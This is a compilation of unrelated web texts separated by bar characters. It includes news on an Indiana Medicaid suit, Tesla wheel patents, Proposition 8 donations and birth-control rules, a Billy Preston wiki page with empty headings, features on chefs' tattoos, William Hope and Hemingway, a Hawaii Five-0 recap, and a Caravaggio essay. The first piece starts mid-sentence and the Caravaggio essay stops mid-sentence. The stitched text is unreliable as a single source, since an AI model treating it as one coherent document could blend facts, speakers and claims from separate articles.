which filed the class action lawsuit on behalf of Indiana Medicaid recipients, applauded the appeals court's decision on Tuesday. |
Early life and career Edit Relationship with the Beatles Edit Post-Beatles solo career Edit Legal troubles Edit Later work Edit Personal life Edit Death Edit Preston had suffered kidney disease in his later years, brought on by his hypertension. He received a kidney transplant in 2002, but his health continued to deteriorate. He had voluntarily entered a drug rehabilitation clinic in Malibu, California, at the suggestion of guitarist Is'real Benton, and suffered pericarditis there, leading to respiratory failure that left him in a coma from November 21, 2005.[1] Preston died on June 6, 2006, in Scottsdale, Arizona. Legacy Edit Miles Davis' 1974 album Get Up with It features a track called "Billy Preston" in his honor. Ringo Starr, speaking during the rehearsals for the Concert for George in 2002, called Preston one of the greatest Hammond players of all time. In his introduction to the 2010 BBC Radio program Billy Preston: That's the Way God Planned It, former Yes keyboardist Rick Wakeman said of Preston: "Every keyboard player I know loves Billy Preston. You can spot his playing a mile off, whether it's the Hammond organ, the Fender Rhodes or the piano. He had such a spiritual touch to his technique, it made him completely unique."[24] Discography Edit |
When first unveiling the Tesla Model 3 in March 2016, the prototypes came equipped with new wheels designed by the automaker. CEO Elon Musk said that they “spent a lot of time on those” and that they plan on bringing them to production. Though a lot of things have changed since and Tesla plans to limit the options available on the Model 3 – at least at the beginning. Musk confirmed last month that wheel size is probably one of the only options that early Model 3 buyers will be able to choose– that and the color. But he didn’t say anything about the options for the designs of the wheels, which is not always the same thing as wheel size. Now we learn Tesla has obtained design patents on 3 of the Model 3 wheel designs that were previously unveiled. While it doesn’t mean they will release those wheels, it means they are securing the rights to them. Tesla applied for the patents on March 30, as they were about to unveil the Model 3, and the design patents were released over the last month. Franz Von Holzhausen, Tesla’s Chief Designer, is credited for the design of each wheel, but longtime Tesla designer David Imai and Bernard Lee are also credited for the first Model 3 wheel design – United States Patent USD789860: That’s the wheel designed that has been the most commonly spotted on Model 3 release candidates in the wild. The second wheel design is an aero wheel option to improve the vehicle’s aerodynamic performance – United States Patent USD788672 : Von Holzhausen and Lee are the designers credited for the design of this wheel. While not as popular as the first wheel, it was also spotted on several Model 3 release candidates. As for the last wheel for which Tesla obtained a design patent last month, it was unveiled at the March 2016 event, but it was never spotted on any release candidate since – United States Patent USD788671: It was actually only seen on plastic model of the Model 3 and not on a working prototype like the two other vehicles. Joonas Vartola, a car designer who doesn’t work for Tesla anymore, is credited for the design of this one. If the release candidates are a good indicator of the options available for the Model 3, it looks this last one is not going to be available. We should have a better idea of the wheel options for the Model 3 once Tesla starts opening the online design studio, which is expected to happen on or around the 28th when Tesla will deliver the first few vehicles. |
Looking for news you can trust? Subscribe to our free newsletters. When it was time for sailor and cook Mandy Lamb to get a tattoo, she decided on two arrows arranged in an “X” on her forearm. They remind her, she says, of a painful lesson learned on her first boat: “Don’t fall in love with the captain.” Lamb’s is one of more than 65 illustrated vignettes (and probably my favorite) on display in the artful book Knives and Ink: Chefs and the Stories Behind Their Tattoos, by BuzzFeed books editor Isaac Fitzgerald and prolific illustrator and graphic journalist Wendy MacNaughton, who appeared on our latest episode of Bite. The duo previously worked together on the 2014 book Pen and Ink, which was inspired by their popular Tumblr blog of the same name and portrayed tattooed people of all professions. “I said, ‘So wait, you actually want me to be doing 30 things at once, and play with fire, and knives?'” -Chef Timmy Malloy But for Knives and Ink, they zeroed in on cooks and chefs, a breed well known for sporting body art. Fitzgerald, who had a short stint as a sushi chef in San Francisco, says one reason for the propensity for tattoos is that chefs want a symbol for their “dedication to the craft.” Some chefs feel they’ve landed in a career perfectly suited to their talents—and that getting a tattoo is a way of making that clear. Fitzgerald explains: For a very long time, being a chef is one of the very few industries where you could just be covered head to toe, tattoos on your face, it didn’t matter as long as what you were making is good. It’s this idea of, ‘If I tattoo my neck, if I tattoo my knuckles, I can’t just walk away from this and start selling cars or just go work in a business or put on a suit or sit in a cubicle. This is going to be my life.’ MacNaughton, who learned to cook while working on a cookbook project a few years ago, points to another reason for kitchen tattoos: “Chefs are preparing food for a lot of people, but it is about their distinct dishes and their distinct flavors and they’re expressing themselves in everything they do,” she says. “I think that the marks on their body are also manifestations of the same thing, the stories and experiences that are meaningful to them.” The tales in Knives and Ink range from sentimental to flippant, sometimes revealing deep truths about a chef’s past, sometimes simply revealing her favorite seasoning. When asked about the most popular tattoo inked by the cooks they interviewed, Fitzgerald and MacNaughton were unequivocal: the pig. “It seems to be the official or unofficial logo of professional chefs,” MacNaughton says. Sure, the quintessential butchering diagram showing a quartered hog is a favorite, but Fitzgerald found fascinating the extent to which some chefs had “tried to one-up this classic pig tattoo design” with neck tattoos of pig skulls or a gory image of a zombie ripping up a pig from the inside. If that isn’t a reason to check out this delightful book, you’re sure to enjoy the recipes or artistic renderings of favorite ingredients accompanying many of the portraits. Bite is Mother Jones‘ new food politics podcast, out every other Friday. Listen to all our episodes here, or by subscribing in iTunes or Stitcher or via RSS. Please rate us and write us a review—it helps get the word out! |
William Hope was born in Crewe, England in 1863 and worked as a carpenter for most of his life. In 1905, he believed that he captured an image of a ghost while photographing a friend, and became interested in spirit photography. Hope founded a group of spirit photographers known as the Crewe Circle. Following the devastation of World War I, grieving families began coming to the circle, looking for a way to contact their lost loved ones. Hope would often ask an individual for a photo of the departed to aid communication with the spirit realm before asking that they sit for a portrait. By 1922, Hope had become a professional medium and moved to London, and was the subject of numerous investigations. The Society for Psychical Research determined that his spirit photos were hardly supernatural, and were simply the products of combining glass plates to create superimposed ghostly images. Despite the society publicly accusing him of fraud, Hope continued to practice until his death in 1933. He had many dedicated supporters, including Sir Arthur Conan Doyle, who wrote The Case for Spirit Photography in his defense. |
In 1898, the year before Ernest Hemingway was born, his parents bought 200 feet of frontage on Walloon Lake in northern Michigan, out in the backlands of Petoskey, a coastal resort town. The Hemingways were fresh off a luxury steamship from Oak Park, Ill., looking to chuck the suburban grind for the seasonal joys of lake country. For $400 they soon had a 20- by 40-foot clapboard cottage built that was short on nearly every amenity except peace and quiet. It wasn’t pioneer life — they had brought along a maid — but the surrounding woods were populated by Ojibwe Indians, black bears, lumberjacks and bootleggers. Most crucially for “Ernie,” who would eventually pack all this stuff into his fiction, the fishing was extraordinary. “Absolutely the best trout fishing in the country. No exaggeration,” he later wrote to a friend about the Petoskey area, perhaps exaggerating a tad but hitting on an essential truth of summer in the Michigan boonies: “It’s a great place to laze around and swim and fish when you want to. And the best place in the world to do nothing. It is beautiful country … And nobody knows about it but us.” By all accounts, northern Michigan had a seismic effect on Ernest Hemingway and his future work. He spent his first 21 summers there, fishing, hunting, drinking and chasing girls. It was a place where men lived hard and lean, ran trotlines and considered bilge water a beverage. “Good stuff for essays,” he wrote in a 1916 journal entry, recording fishing trip details he would later channel into Nick Adams stories. “Old Couple on Boardman,” he wrote, referring to a river. “Mancelona-Indian girl, Bear Creek … tough talking lumberjack, young Indian girl, kills self and girl.” It’s an odd juxtaposition to think of Hemingway, years later, sipping espresso in Paris cafes while writing about Nick Adams — a semi-autobiographical stand-in for the author’s own manly wanderings in the Michigan wilds. Take the famous Adams story “Big Two-Hearted River”: “Holding the rod far out toward the uprooted tree and sloshing backward in the current,” he wrote, “Nick worked the trout, plunging, the rod bending alive, out of the danger of the weeds into the open river.” |
Colorado Springs-based Focus on the Family gave $727,250 in cash and services to the anti-gay marriage Proposition 8 campaign in California, according to records released by the California secretary of state, including a $100,000 check in late October, just days before the evangelical media empire announced it planned to lay off nearly 20 percent of its employees While there has been public scrutiny of the Church of Jesus Christ of Latter-day Saints for its attempts to influence the campaign to reverse a California Supreme Court ruling allowing gay and lesbian couples to marry, Focus on the Family and related donors pumped more than six times as much as the Mormon church did into the ProtectMarriage.com campaign, records show. Altogether, donations supporting Proposition 8 from Focus on the Family, one of its major benefactors and an offshoot lobbying organization totaled more than $1.251 million — just shy of the $1.275 million contributed by ProtectMarriage.com’s largest donor, the Knights of Columbus, the Connecticut-based political arm of the Catholic Church. In addition to $727,250 reported by Focus on the Family, major backer and board member Elsa Prince, the billionaire heiress of Holland, Mich., donated $450,000 to ProtectMarriage.com in two cash chunks and the Washington, D.C.-based Family Research Council, a Christian-right lobbying organization spun off from Focus on the Family and founded in part by Prince’s foundation, chipped in $74,400. “People are keenly aware of how much money was put in by the hate groups,” said Rick Jacobs, chair and founder of the Courage Campaign, a progressive California organization leading the charge to overturn Proposition 8 in court. “It’s good to get the facts finally out about how much Focus did put in.” The Mormon church donated $189,000 in nonmonetary expenditures — mostly staff time and airline tickets — to help pass the ballot measure, according to the latest disclosure from the California secretary of state. The church remains “under investigation” by the California Fair Political Practices Commission after a complaint was filed against the church by the anti-Proposition 8 group Californians Against Hate, the Salt Lake Tribune reported Monday. “One of the reasons the Courage Campaign highlighted the role of the leadership of the Mormon church in this campaign,” Jacobs said, “is that people do not like outside interference. They certainly don’t like having right-wing religious organizations telling them how to live their lives.” The Proposition 8 campaign was the most expensive social-issue ballot question in national history at just over $83 million, with proponents of the marriage ban raising $40 million and opponents raising $43 million, California election records show. Voters approved the measure with 52 percent of the vote, but both sides are arguing the constitutionality of the measure in state court. Focus on the Family donated more to the Proposition 8 campaign than has been reported, The Colorado Independent has found. A widely reported sum of “$657,000 in money and services” donated toward the ballot measure by Focus falls short of the total, failing to account for contributions made by the organization as long ago as November 2007 when Focus on the Family helped seed ProtectMarriage.com with a $50,000 cash contribution. The evangelical group spent another $35,650 in December 2007 supporting the anti-gay marriage group with Web ads, e-mail blasts, radio broadcasts, printing and postage, according to a disclosure form filed with the California secretary of state. Total 2008 contributions from Focus on the Family to the Proposition 8 campaign were $641,600, according to disclosure forms filed in January and made available to the public a week ago. A Focus on the Family spokesman didn’t return a call seeking comment. In addition — though apart from the $727,250 spent directly to pass Proposition 8 — Focus on the Family donated $14,915 in 2007 to the Save Our Kids referendum to overturn a California law that says “no teacher shall give instruction nor shall a school district sponsor any activity that promotes a discriminatory bias because of” homosexuality, transsexuality, bisexuality, or transgender status. That campaign didn’t make it to the ballot, but was a precursor to the Proposition 8 campaign. “After much prayer, consideration and consultation,” Save Our Kids organizers wrote on their Web site, the group decided to “suspend the Save Our Kids campaign to allow our staff and supporters to dedicate themselves to the Marriage amendment (Proposition 8).” “We were disgusted that a group like Focus on the Family would take people’s money and dump it into a campaign here in California to try to take rights away from people,” Jacobs said, although he tempered his disgust with delight at the layoffs that hit the ministry right after the election. “There is a decreasing market for hate,” he said, “and I think that’s what Focus on the Family is reaping right now.” Focus on the Family announced on Nov. 17 that it planned to cut 202 jobs companywide, dropping the number of employees to about 950, The Colorado Independent reported. It was only the latest in a series of layoffs and cutbacks suffered by the Christian ministry, which also supports a massive CD, DVD, radio and Web-based enterprise. At its height, the organization, which has its own ZIP code in Colorado Springs, employed more than 1,500 people. Michigan-based auto-parts heiress Elsa Prince — whose son, Erik Prince, is the founder and CEO of Blackwater Worldwide, the controversial private security firm with annual contracts in Iraq and Afghanistan worth an estimated $500 million — has been closely tied to Focus on the Family for decades. She and her late husband, Edgar, have been key benefactors to Focus and its lobbying arm, the Family Research Council, whose lavish headquarters was financed by Elsa as a memorial after her husband died. “Anybody who is investing in Focus in the Family ought to understand it’s an investment in a losing organization,” Jacobs said. “In the course of time, they’ll become as extinct as the wooly mammoth.” |
Photo: (CC) Ninian Reid By | If you believe appointing an anti-contraception activist to lead the federal family planning program was bad for women’s health, you’re not going to like Trump’s latest attack on birth control. According to a leaked draft of the proposed new regulation, the administration is set to remove birth control from the list of covered preventive health care services without a copay and allow any employer to drop birth control coverage for moral or religious reasons without needing to notify the government. But, wait. There’s more! The new regulation could also permit health insurers to refuse to cover birth control and allow individuals to refuse to participate in health insurance plans that also cover contraception. To be clear, religious organizations (and some corporations) are already permitted to refuse to cover contraception for their employees if they believe their religious or moral beliefs would be “violated” by providing said coverage. In an email about the new rule, the National Women’s Health Network said, “To say this would be very bad is an understatement.” Department of Health and Human Services secretary Tom Price, who has said in the past that there’s “not one woman” who doesn’t have access to birth control in the U.S., applauded the new rule. Weakening birth control coverage for millions of women would have a devastating impact on women’s health and lives. The Affordable Care Act (ACA) responded to hordes of evidence that show how important contraception is as an essential health tool. In 2011, the Guttmacher Institute affirmed this: Ensuring that every woman who is sexually active but not seeking pregnancy is able to obtain the contraceptive method that is right for her—meaning the method she will be able to use consistently and correctly—is, therefore, an urgent national priority. That’s why the ACA requires that birth control services are covered in full, with no co-pay. Contraception is required to be covered by health insurance plans, including Medicaid, as long as they are prescribed by a healthcare provider. (The ACA also requires that insurers cover other preventative women’s health services in full, including mammograms, screenings for sexually transmitted infections, and HPV vaccinations.) Despite the opinions of Price and Title X’s head Teresa Manning, contraception has immense benefits. Using birth control allows women to control if and when they have children and to space childbearing. Some methods also protect against sexually transmitted infections, and many women use hormonal methods to manage painful or irregular periods as well as other medical problems. Since the ACA has gone into effect, women and the government have saved billions of dollars. Expanded access to birth control has also contributed to a sharply reduced rate of unintended pregnancy over the last four years and likely a lower number of abortions as well. Vox notes that according to the Kaiser Family Foundation, More than 20 percent of US women of childbearing age had to pay money out of pocket for oral contraceptives prior to the Obamacare mandate…. That shrunk to less than 4 percent a few years after the mandate took effect. Yet now, Trump and his administration want to make it more difficult for people to access contraception. In an effort to explain why allowing this broad refusal of birth control coverage won’t be an issue, the leaked draft states that contraception access can be provided “through other means”: “for example, through a “family member’s employer”, “an Exchange”, or “another government program.” What? President Trump’s new budget would defund Planned Parenthood. The GOP health care plan’s latest version would strip 23 million people of health care access and $800 million from Medicaid, which currently covers birth control for the lowest-income women in the country. The administration is working hard to remove any access to affordable birth control in the United States. Women’s health advocates are not happy with this latest attack on women’s health care access and vow to fight. Gretchen Borchelt, vice president of Reproductive Rights and Health, a program of the National Women’s Law Center, summed up the situation well: |
Killer seeks traditional punishment Updated An Aboriginal man convicted of another man's manslaughter is willing to face traditional punishment, the Supreme Court at Port Augusta in South Australia has been told. Joshua Buzzacott, 23, was accused of murdering another man last October at a house in the Davenport Aboriginal Community. That charge was dropped after he made a late plea to manslaughter on the first day of the murder trial. The defence said Buzzacott was willing to face traditional punishment, which would include being publicly speared or stabbed in the leg after his release. The court heard the punishment would bring closure to the families. The prosecution said it was the first time it had been mentioned in the case and further instructions would be sought. The court also heard victim impact statements from family members. The hearing was adjourned until next week. Topics: courts-and-trials, community-and-society, indigenous-aboriginal-and-torres-strait-islander, law-crime-and-justice, crime, murder-and-manslaughter, port-augusta-5700, sa, whyalla-5600 First posted |
Posted on Feb 5, 2013 12:00am When HPD officer Ben Keoki is shot by a sniper in broad daylight, Five-0 joins the case to hunt for the mystery killer. A specialized bullet casing is found near the sniper's nest with the victim's name engraved on it, leading McGarrett to posit that this is just the first of many killings by the gunman. Later, an anonymous tip draws HPD and Five-0 to a home where a drug dealer is holed up and engaging in a firefight with the police. During the firefight, another officer, Troy Ookala, is gunned down, hit by the same sniper. It becomes clear that the sniper is targeting police officers, so Five-0 works to figure out what Ookala and Keoki had in common. Things take a dark turn when McGarrett narrowly misses getting shot by the sniper himself, and then Sgt. Lukela gets shot as well. McGarrett and Danny manage to chase the sniper and force his car into the ocean, but he gets away before they can arrest him. They recover a prosthetic hand at the scene, which allows McGarrett to put the puzzle pieces together. McGarrett's father, Lukela, Keoki, and Ookala were all awarded medals for stopping an armed bank robbery years ago, and the perpetrator of that robbery had his hands blown off by his own explosives in the gunfight at the bank. That man, Curt Stoner, (the 'Hookman') was given two prosthetic hands in prison, and he vowed to get revenge on the men who put him there. Five-0 manages to lure Stoner out, using McGarrett as live bait, and Kono takes him out with a perfect shot of her own. |
1. They tortured him of course. 2. More precisely, they carved up his face – “sfregio,” it was called, a ritual disfigurement intended to inflict permanent and visible dishonor on one who had disrespected the wrong people. Michelangelo Merisi da Caravaggio was no stranger to this code of vendetta. In his earlier Roman years, he had run with prostitutes who were known to take the occasional blade to the face of a rival. Now in Naples, towards the end of his strange and violent life, it was his turn to be branded. 3. With so many enemies, it was difficult to know who had carried out or ordered the hit. Was it the clan of Ranuccio Tomassoni, the Roman pimp Caravaggio had murdered in a duel in 1606, precipitating the flight and 19 months of wanderings that had led to this squalid bloodletting outside a notorious brothel? Or was it the work of Giovanni Rodomonte Roero, the Maltese Knight Caravaggio had seriously wounded in a fracas two months earlier and who just might have tracked him down through the Straits of Messina and the Gulf of Salerno? Or was it any number of other lowlifes, nobles, rivals, or patrons he might have crossed along his furious way? 4. Whoever it was, the assailants slipped back into the night, never to be known or apprehended. They had done their work. Nor was it any common street thug they had mutilated, perhaps partially blinded. The victim of this assault outside the Osteria del Cerriglio, where poets and artists mingled with courtesans, rentboys, and cut-throats, was the greatest painter of the age, one of the greatest of any age. He never really recovered. 5. You can see the damage in “The Denial of Saint Peter,” executed in Naples during his convalescence and one of his very last works. It’s still a Caravaggio — the peasant earthiness of Peter’s features, the flaring chiaroscuro, the heightened drama of sin and redemption. But the reductive simplicity of the composition, the shallow, featureless space, the coarse description of Peter’s hands — this too is Caravaggio at the end of his life. Either he couldn’t see what he was painting anymore or his hands were shaking. 6. He would die soon, trying desperately to get back to the place where, once, it had all gone right: Rome. 7. Before there was Rome there was Milan, where the adolescent boy apprenticed under a feeble imitator of Titian named Simone Peterzano. And before there was Milan there was Caravaggio, the sleepy backwater on the Lombardy plain that would ultimately give Michelangelo Merisi the name by which he is (mistakenly) known today. 8. Caravaggio did have one thing going for it: patronage. The local marchese, Francesco Sforza, was connected to the Pope; his bride, the marchesa Costanza Colonna Sforza, was the daughter of the military commander who had triumphed over the heathen “Turks” at the Battle of Lepanto. And Fermo Merisi, the father of Michelangelo, had the good fortune to work for them. 9. Nominally, Fermo was their house architect. In fact, he was more like a majordomo, but what matters to history is the alliance formed between the marchesa and her majordomo’s intriguing son, who somehow touched her maternal heartstrings. Given his penchant for wildly destructive behavior in later life, Caravaggio would need friends in high places. The marchesa, at crucial times, would be that friend. 10. Despite this useful connection, the lowborn Merisi children would have to make their way in the world, especially after Fermo was carried off by the plague while still a young father. In three years (1576-1578), it carried off about a fifth of the city of Milan along with him. Such was life in early modern Europe. 11. Caravaggio knew a lot about plague. It spared his mother, who died of other circumstances in 1589, but took his father, his grandfather, his grandmother, and an uncle. The late, sepulchral “Resurrection of Lazarus” clearly draws on memories of the ravages he would have seen as a boy. So much for the lofty idealism Peterzano would have tried (unsuccessfully) to instill into his recalcitrant apprentice. 12. After mother Lucia’s death, the children were cared for by relatives and the Colonnas. They had a small inheritance to help them stake their place in the world. Sister Caterina married well and had six children. Brother Giovan Battista became a priest. The eldest, Michelangelo, rose from his humble origins (according to Karel van Mander, a Dutch artist who knew him) “through his industry and by tackling and accepting everything with farsightedness and courage, as some people do who refuse to be held down through timidity or through lack of courage.” 13. Years later, when Caravaggio had established himself in Rome and Giovan Battista came calling, the flourishing artist denied knowing him. “Brother,” Giovan Battista said, “I’ve come such a long way to see you, and now that I’ve seen you I’ve had what I wanted. May God grant that you do well.” He did do well. And he never saw his brother again. Was Giovan Battista being insufferably holy or Caravaggio being willfully perverse? Or was it a bit of both? Life imitates art. Maybe that’s why, years later, Caravaggio painted “The Denial of Saint Peter.” He had lived it. 14. By the time of that fraternal rebuff (witnessed by his protector, Cardinal Del Monte), Caravaggio’s truculence was a long enforced habit. Little is known of his apprenticeship in Milan, but his early years in Rome were hungry and hardscrabble. He had arrived in 1592, a young man on the make like thousands of others. Hopefuls from all over Italy and beyond were flocking to Rome to cash in on the visual propaganda blitz known as the Counter Reformation. Caravaggio would surpass them all, but in the beginning there was only penury, rejection, and hackwork. 15. The hackwork — mostly copying small devotional pictures — was supervised by a miserly house steward, who lodged him but barely fed him. (“Monsignor Salad,” Caravaggio called him, after the starvation rations he received.) Caravaggio’s lot improved when he joined the workshop of the renowned Giuseppi Cesari, who assigned him still life details and other piecework on the many commissions that came his way. Caravaggio must have seen that he was already better than the gentlemanly Cesari would ever be, but for now he had somewhat steadier work and a foot halfway in the door. 16. But all this hustling took a toll. Around this time, Caravaggio painted for himself a “Self Portrait as Bacchus,” which shows the hunger and ill health that would have been his daily lot. Never had a Greek god looked more sickly. The ash colored lips, the swollen left eye, the filthy thumbnail, even the moldy grapes that Caravaggio as Bacchus holds in his right hand: there would have been thousands of desperate hustlers and street people in the city, and some of them would have looked just like this. 17. If Counter Reformation Rome was Hollywood on the Tiber for artists and architects, Caravaggio was about to be “discovered” by the Eternal City’s equivalent to a powerful casting agent. It happened in 1595 when Cardinal Francesco Maria Del Monte, the Medici’s smoothly adroit fixer in Rome, spotted Caravaggio’s “Cardsharps” in a second hand dealer’s shop near the Piazza Navona. Del Monte had the money and the taste to acquire pretty much whatever he wanted, and what he wanted was not just the painting. He wanted the painter. 18. So Caravaggio moved into Del Monte’s Palazzo Madama on Piazza de San Luigi and joined his circle of artists, scientists, musicians, connoisseurs, and very expensive courtesans. He brought with him as an assistant Mario Minniti, the meltingly beautiful teenage boy who had posed for him in the picture that had caught Del Monte’s eye. Like his newly acquired painter, the cardinal, it would seem, liked boys too. 19. At any rate, Del Monte commissioned one or two of the outrageously provocative canvases of overripe male adolescents that Caravaggio produced in the next several years. Mario Minniti was subsequently replaced as Caravaggio’s boy model and studio assistant by Francesco “Cecco” Boneri, the naked, splay-legged figure posing as a laughingly corrupt Cupid in “Omnia vincit Amor.” It was of this painting than an English traveler, picking up on rumors still current, wrote in 1650, “Twas the body & face of his owne boy or servant that laid with him.” 20. If Caravaggio is Exhibit A in the queer studies wing of art history departments, the loving attentiveness he lavished on the earthly beauty of his Madonnas and female saints somewhat complicates that claim. That all these Madonnas and saints were well-known prostitutes who worked with him regularly implies a level of intimacy beyond the professional. Of course Caravaggio slept with his models. Whether they were male or female didn’t much matter to him. 21. One such prostitute was Fillide Melandroni, as beautiful as she was violently temperamental (the Roman police, or sbirri, were all too familiar with her outbursts) and the model for the serenely majestic “Saint Catherine” and the holy assassin Judith in “Judith and Holofernes.” Like Mario Minniti, she remained loyal to the wayward genius she had known for a few years in Rome and will reappear at the end of this story. 22. Caravaggio stayed at Del Monte’s Palazzo Madama for the next six years, doing some of his very greatest work under the cardinal’s protection — in fact, becoming a star, the kind of artist who changed the rules and attracted schools of imitators. Artemesia Gentileschi (who would have known him from her girlhood as a friend of her painter father’s) would have been inconceivable without Caravaggio, and Rembrandt wouldn’t have been quite the Rembrandt we know. 23. In Rome, being a lot better than everybody else (with the sole exception of Annibale Carracci) and loudly proclaiming it to the world wasn’t necessarily a wise career move. The long knives came out. 24. Trouble had started as early as Milan, where Caravaggio had been a less than obedient pupil of Petrerzano. There were dark reports of his involvement in quarrels and even in a murder in that turbelent city. By the time he got to Rome he was already intimate with the sort of thieves and hustlers he depicted in his early cabinet pictures. There was nothing worked up in Caravaggio’s revolutionary realism. It was the life he lived. 25. It was and had been for some time a double life — on the one hand, conversing with intellectuals and cultured aristocrats in Palazzo Madama, on the other hand, swaggering around the streets with a crew of like-minded hotheads. “When he’s worked for a fortnight,” wrote his contemporary van Mander, “he goes out for a couple of months with his rapier at his side and a servant behind him, moving from one tennis court to another and always looking for fights or arguments, so he’s impossible to get on with.” 26. He looked the part, too, wearing the rich silks and velvets favored by the Roman bravi — except that he wore them until they were in tatters. Then he’d acquire a new suit and wear that one out too. If any of his cohorts thought his eccentricities merited comment, they probably knew enough to keep their mouths shut. 27. This particular hothead, with his striped taffeta and poniard, happened to be a genius. When he got the commission for the Contarelli Chapel in the Church of San Luigi dei Francesi, his genius would be put to its greatest test. Caravaggio had never before attempted anything on this scale — three multi-figured, wall-sized narratives on the life of the Apostle Matthew. He struggled at first, and had to redo the smallest of the three, a depiction of an angel guiding Matthew in his writing of his Gospel. With the other two, especially “The Calling of Saint Matthew,” he changed Western art forever. 28. Matthew the tax collector sits in the backroom of a tavern or inn with assorted thugs, pretty boys, and hangers-on. Christ has entered with Saint Peter at right and is calling Matthew to a new life with a simple pointing of a finger. In a moment Matthew will rise, follow his Savior out of the room, and never look back. You must change your life, Rilke said. This is how it happens. 29. Among the throngs who flocked to the see the installation in 1599 was Giovanni Baglione, a grasping second rater who played the role of Salieri to Caravaggio’s Mozart. Baglione tried very hard to be unimpressed, which didn’t stop him from aping Caravaggio’s chiaroscuro without approaching anything like Caravaggio’s originality, humanism, subtlety, and above all profound understanding of the interpenetration of the sacred and the profane. Anyone else might have ignored the ugly backtalk that Baglione stirred up. Caravaggio wasn’t anyone else. 30. Like all the other painters in Rome, Caravaggio and Baglione were competing for the same commissions and the same patrons. It was bad enough to lose, as he sometimes did, to a hack like Baglione — worse still to lose to a hack who slavishly imitated him while slagging him to anyone who would listen. Caravaggio might have hit back violently. Instead, he had one of his crew compose and circulate a couple of scurrilous poems. They weren’t very subtle or even literary, but anybody who was anybody read them, or knew about them. Baglione, the poems, said, couldn’t paint for shit. 31. One of the few moments of levity in the otherwise terrible saga of Caravaggio’s life is the spectacle of the aggrieved Giovanni Baglione mustering all his dignity before the Governor of Rome in a libel suit he new brought against Caravaggio and his friends. Asked by the magistrates to identify the documents in question, he replied with the ingenuousness of a village idiot, “that which begins ‘Johnny Baggage’ and ends ‘an insult to painting’ and the other that begins ‘Johnny Prick’ and ends ‘otherwise he’d’ve been a fucking prick.’” 32. This commedia del’arte imbroglio wouldn’t have mattered if it hadn’t helped to establish a precedent: trouble with the authorities and a few weeks in the Governor’s prison before the whole mess was straightened out, perhaps through the intervention of Del Monte or some other art-loving patron. Nor did it allay growing suspicions in some quarters that this jumped up genius might be more trouble than he was worth. 33. Caravaggio was still the leading painter of the Roman avant-garde, and commissions for masterworks like the “Madonna of the Pilgrims” were still ahead. But he was living on his own now, no longer under Del Monte’s stabilizing influence, and his noisy altercations in taverns and on piazzas were starting to attract the wrong kind of attention. Worse still, he was about to see one of his greatest works, “The Death of the Virgin,” removed within weeks of its unveiling from the altar for which it had been commissioned. 34. You can see “The Death of the Virgin” in the Louvre rather than on the altar of Santa Maria della Scala, where it ought to be. And you can also see why the pious Carmelites who commissioned it might have changed their minds. Some said that the beautiful and still youthful Mary that Caravaggio depicted was all too evidently “a courtesan he loved,” but that wasn’t the problem. Everyone knew that painters used prostitutes for models — who else could they get? — and everyone knew that Caravaggio’s woman at the time was the much desired courtesan Lena Antognetti. No, the problem with “The Death of the Virgin” was that this Virgin was just too emphatically, transcendentally dead. 35. Caravaggio’s way of dealing with Counter Reformation orthodoxy was to ignore the limp piety and enforced bigotry and to focus instead on the life experiences of humble believers. If he had to throw in an angel or two, that angel would be equipped with dingy, oversized pigeon wings. Almost all his miracles, epiphanies, and crucifixions took place in the workaday world of taverns, sparsely furnished rooms, and darkened, nondescript interiors. His more discerning collectors appreciated this stunning naturalism, but to get away with such heterodoxy, he had better be on his best behavior. And he wasn’t. 36. The infractions were racking up: carrying his sword without a license, insulting a police officer, assaulting (big mistake) a mid-level Vatican functionary. Impossibly touchy where his honor was concerned, he threw a plate of artichokes in the face of a waiter who had made the mistake of serving them with insufficient deference. A Roman police blotter preserves his furious words: “It seems to me, you fucking prick, that you think you’re serving some two bit crook.” 37. Caravaggio’s get out of jail card was his association with Del Monte, but even Del Monte could do only so much. After the bloody attack on the Vatican functionary, Caravaggio betook himself to Genoa, ostensibly to work on a commission for the Duke of Modena, but really to keep a step ahead of the law. In Genoa, relations of Costanza Colonna sheltered him until Del Monte could work out a settlement in Rome, which duly occurred later that summer. Upon his return, Caravaggio swore to the legal authorities an oath of peaceableness. Which he violated almost immediately. 38. This time it was a squabble with his landlady, who had locked him out and thrown out his few belongings. She issued a complaint saying that Caravaggio had come round in the middle of the night, throwing rocks and smashing her window shutters — trivial enough, except that it boded ill for the fresh start he hoped to be making. 39. Caravaggio’s misfortune’s were Cardinal Scipione Borghese’s main chance. Younger, richer, and, if possible, even less devout than Del Monte, he snapped up the rejected “Madonna of the Palafrenieri” for a song and had it installed in his villa on the outskirts of the city, where it can be seen to this day. Enough influential clients coveted Caravaggio’s work to pull strings for him when needed, and he would need every possible string pulled when his increasingly reckless behavior culminated in the tragedy that was waiting to happen: the murder of Ranuccio Tomassoni. 40. It might have looked like a mindless eruption of violence over a meaningless tennis match, but trouble between Caravaggio and Tomassoni, a street tough with relatives in high places, had been brewing for some time. Very possibly they were rival pimps. Fillide Melandroni definitely worked for Tomassoni, and maybe Tomassoni felt that Caravaggio was encroaching on his territory. Keeping a small stable of prostitutes would have been a way of ensuring a steady supply of models, not to mention some free sex. All that late night roistering, armed to the gills, might have been partly a matter of business: Caravaggio was looking out for his girls. 41. So the killing wasn’t spontaneous at all. It was a duel. Caravaggio and Tomassoni, accompanied by their “seconds” and supporters (three to each side) met on a tennis court on the Campo Marzio on May 28, 1606. It was all over in a few moments: Tomassoni bleeding to death from a severed artery, Caravaggio with a gash in his head, and Caravaggio’s second, Captain Petronio Toppa, left almost for dead. 42. Caravaggio had always been proud of his swordsmanship, but the coup de grace was a flick of his blade at Tomassoni’s crotch. So much for the gentlemanly art of dueling. After the fatal blow, the duel degenerated into a murderous free for all. Tomassoni’s brother slashed Caravaggio in the head and probably would have killed him if not for the intervention of Petronio Topapa, who barely survived the wounds he incurred. Tomassoni was carried off to a surgeon’s, where he died that night. Caravaggio didn’t wait around to hear the death sentence (bando capitale) pronounced by the Pope. By the following morning he was nowhere to be found. 43. Caravaggio was now a wanted man, exiled from Rome and with a price on his head. He couldn’t have escaped from the city without the discreet assistance of one or more of his patrons, most likely the Marchesa Colonna, now resident in Rome and with a network of family connections in the region. It was to a Colonna stronghold in Zagarolo, about twenty miles southeast of Rome, that Caravaggio made his way, finding refuge with the Duke Marzio Colonna. And there he did what he always did in times of stress: he painted. 44. Under these circumstances, the self-portrait as a decapitated Goliath that Caravaggio now painted for Scipione Borghese (who didn’t much care that his favorite painter was a murderer condemned by in absentia by Borghese’s uncle, Pope Paul V) was a harrowing Act of Contrition. The blood streaming from Goliath’s neck, the saliva pooling in his open mouth, the sightless, half open right eye: Caravaggio painted himself as the brute he knew himself at least partly to be. 45. If Borghese was expecting 